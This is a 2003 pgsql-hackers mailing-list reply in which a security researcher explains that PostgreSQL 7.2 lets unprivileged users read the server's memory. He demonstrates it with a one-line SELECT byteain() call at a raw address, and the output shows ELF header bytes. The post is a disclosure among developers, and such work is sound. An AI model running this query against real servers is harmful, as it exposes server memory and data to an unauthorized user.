Re: why was libpq.so's version number bumped?

From: Florian Weimer <Weimer(at)CERT(dot)Uni-Stuttgart(dot)DE>
To: Bruce Momjian <pgman(at)candle(dot)pha(dot)pa(dot)us>
Cc: pgsql-hackers(at)postgresql(dot)org
Subject: Re: why was libpq.so's version number bumped?
Date: 2003-01-03 23:18:55
Message-ID: 87u1gprfds.fsf@Login.CERT.Uni-Stuttgart.DE
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Bruce Momjian <pgman(at)candle(dot)pha(dot)pa(dot)us> writes:

>> Hmm? On 7.2, an unpriviliged database user can read the more or less
>> the whole memory image of the server process. On 7.3, this has been
>> fixed.
>
> Huh. Never heard that before.

It's the cash_out(2) crash, but with some other conversion function:

rusfw=> SELECT byteain(134512640);
byteain
---------------------
\177ELF\001\001\001
(1 row)

rusfw=>

(Of course, the address varies from machine to machine.)

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